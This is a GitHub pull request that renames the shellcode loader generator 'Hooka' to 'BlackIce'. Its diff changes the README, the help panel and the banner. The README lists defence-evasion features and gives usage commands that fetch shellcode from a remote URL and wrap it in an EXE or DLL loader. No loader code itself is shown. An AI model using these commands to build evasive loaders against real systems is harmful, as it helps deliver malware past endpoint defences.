Skip to content

readme updated #16

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
Mrdedsecurity wants to merge 9 commits into
base: main
Choose a base branch
from
Open

readme updated #16

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
9 commits
Select commit Hold shift + click to select a range
2fddc95
Update README.md
Mrdedsecurity Dec 11, 2025
b7e764a
Update README.md
Mrdedsecurity Dec 11, 2025
746e97e
updated readme
Mrdedsecurity Dec 11, 2025
6cd3cf0
banner alt
Mrdedsecurity Dec 11, 2025
8b471ab
hooka -> Blackice
Mrdedsecurity Dec 11, 2025
e982976
readme commands examples to blackice. git clone link fixed
Mrdedsecurity Dec 11, 2025
3378c41
readme updated
Mrdedsecurity Dec 11, 2025
150a2d9
readme edit
Mrdedsecurity Dec 11, 2025
6e30634
readme update
Mrdedsecurity Dec 11, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Makefile
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
EXECUTABLE=hooka
EXECUTABLE=blackice
WINDOWS=$(EXECUTABLE)_windows_amd64.exe
LINUX=$(EXECUTABLE)_linux_amd64
DARWIN=$(EXECUTABLE)_darwin_amd64
Expand Down
64 changes: 30 additions & 34 deletions README.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,23 +1,28 @@
<p align="center">
<h1 align="center">Hooka</h1>
<h4 align="center">Shellcode loader generator with multiples features</h4>
<h6 align="center">Coded with 💙 by D3Ext</h6>
<pre align="center" style="color: #00ffffff;">
▄▄▄▄ ██▓ ▄▄▄ ▄████▄ ██ ▄█▀ ██▓ ▄████▄ ▓█████
▓█████▄ ▓██▒ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▓██▒▒██▀ ▀█ ▓█ ▀
▒██▒ ▄██▒██░ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒██▒▒▓█ ▄ ▒███
▒██░█▀ ▒██░ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█ ▄
░▓█ ▀█▓░██████▒▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒
░▒▓███▀▒░ ▒░▓ ░▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░▓ ░ ░▒ ▒ ░░░ ▒░ ░
▒░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ▒ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ▒ ░░ ░
░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
</pre>
</p>

<h1 align="center">BlackIce</h1>
<h4 align="center">Shellcode loader generator with multiple features</h4>
<h6 align="center">Coded by MrDedSec (Shout out D3Ext!)</h6>

<p align="center">

<a href="https://opensource.org/licenses/MIT">
<img src="https://img.shields.io/badge/license-MIT-_red.svg">
</a>

<a href="https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md">
<img src="https://img.shields.io/badge/maintained%3F-yes-brightgreen.svg">
</a>

<a href="https://github.com/D3Ext/go-recon/issues">
<img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat">
</a>

</p>

<p align="center">
Expand All @@ -30,8 +35,7 @@

# Introduction

Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars.

BlackIce is able to generate shellcode loaders with multiple capabilities. It is also based on Hooka (see [here](https://github.com/D3Ext/Hooka)). This tool is intended for my own learning, please no not use the tool for malicious activity.
# Features

This tool is able to generate loaders with this features:
Expand Down Expand Up @@ -79,8 +83,8 @@ This tool is able to generate loaders with this features:
Just clone the repository like this:

```sh
git clone https://github.com/D3Ext/Hooka
cd Hooka
git clone https://github.com/Mrdedsecurity/BlackIce.git
cd BlackIce-Loader
make
```

Expand All @@ -90,7 +94,7 @@ After that you will find the binary under the `build/` folder

> Help panel
```
Usage of Hooka:
Usage of BlackIce:
REQUIRED:
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
-o, --output string name of output file (i.e. loader.exe)
Expand Down Expand Up @@ -137,28 +141,28 @@ Usage of Hooka:
-h, --help print help panel

Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
blackice -i shellcode.bin -o loader.exe
blackice -i http://192.168.1.126/shellcode.bin -o loader.exe
blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
```

> Generate a simple EXE loader
```sh
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe
$ blackice_linux_amd64 -i shellcode.bin -o loader.exe
```

> Generate a DLL loader
```sh
$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
$ blackice_linux_amd64 -i shellcode.bin -o loader.dll -f dll
```

> Use custom config (various examples)
```sh
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings
$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ blackice_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ blackice_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
$ blackice_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings
```

# Demo
Expand All @@ -167,12 +171,6 @@ $ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computer

<img src="https://raw.githubusercontent.com/D3Ext/Hooka/main/assets/demo2.png">

# TODO

- ~~Check username and hostname before running~~
- Add direct and indirect syscall
- Add Chacha20 cypher to encrypt shellcode

# Library

The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
Expand Down Expand Up @@ -213,7 +211,5 @@ Use this project under your own responsability! The author is not responsible of

This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license

Copyright © 2025, *D3Ext*



39 changes: 26 additions & 13 deletions cmd/main.go
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -32,18 +32,31 @@ type LoaderTemplate struct {
}

// function to print the banner
func banner(){
fmt.Println(" _ _ _ _")
fmt.Println(" | | | | ___ ___ | | __ __ _ | |")
fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |")
fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|")
fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)")
func banner() {
fmt.Println("\033[36m") // Cyan color for ice effect
fmt.Println("╔═══════════════════════════════════════════════════════════════════╗")
fmt.Println("║ ║")
fmt.Println("║ ▄▄▄▄ ██▓ ▄▄▄ ▄████▄ ██ ▄█▀ ██▓ ▄████▄ ▓█████ ║")
fmt.Println("║ ▓█████▄ ▓██▒ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▓██▒▒██▀ ▀█ ▓█ ▀ ║")
fmt.Println("║ ▒██▒ ▄██▒██░ ▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒██▒▒▓█ ▄ ▒███ ║")
fmt.Println("║ ▒██░█▀ ▒██░ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░██░▒▓▓▄ ▄██▒▒▓█ ▄ ║")
fmt.Println("║ ░▓█ ▀█▓░██████▒▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░██░▒ ▓███▀ ░░▒████▒ ║")
fmt.Println("║ ░▒▓███▀▒░ ▒░▓ ░▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░▓ ░ ░▒ ▒ ░░░ ▒░ ░ ║")
fmt.Println("║ ▒░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ▒ ░ ░ ▒ ░ ░ ░ ║")
fmt.Println("║ ░ ░ ░ ░ ░ ▒ ░ ░ ░░ ░ ▒ ░░ ░ ║")
fmt.Println("║ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ║")
fmt.Println("║ ░ ░ ░ ║")
fmt.Println("║ ║")
fmt.Println("║ ░▒▓█ B L A C K I C E █▓▒░ ║")
fmt.Println("║ By MrDedSec ║")
fmt.Println("╚═══════════════════════════════════════════════════════════════════╝")
fmt.Println("\033[0m") // Reset color
}

// function to print the help panel
func help_panel(){
fmt.Println(`
Usage of Hooka:
Usage of BlackIce:
REQUIRED:
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
-o, --output string name of output file (i.e. loader.exe)
Expand Down Expand Up @@ -90,10 +103,10 @@ Usage of Hooka:
-h, --help print help panel

Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
blackice -i shellcode.bin -o loader.exe
blackice -i http://192.168.1.126/shellcode.bin -o loader.exe
blackice -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg
blackice -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
`)
}

Expand All @@ -102,7 +115,7 @@ Examples:
// as the names may be a little bit confussing
var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"}

var buffer bytes.Buffer
var buffer bytes.Buffer

func main() {
// define variables that will hold CLI arguments values
Expand Down Expand Up @@ -3234,7 +3247,7 @@ func CompileLoader(format string, output_file string, compress bool, arch string
if os.IsNotExist(err) {

// if it doesn't exist, then create it
mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr")
mod_cmd := exec.Command("go", "mod", "init", "blackice_ldr")
err = mod_cmd.Run()
if err != nil {
return err
Expand Down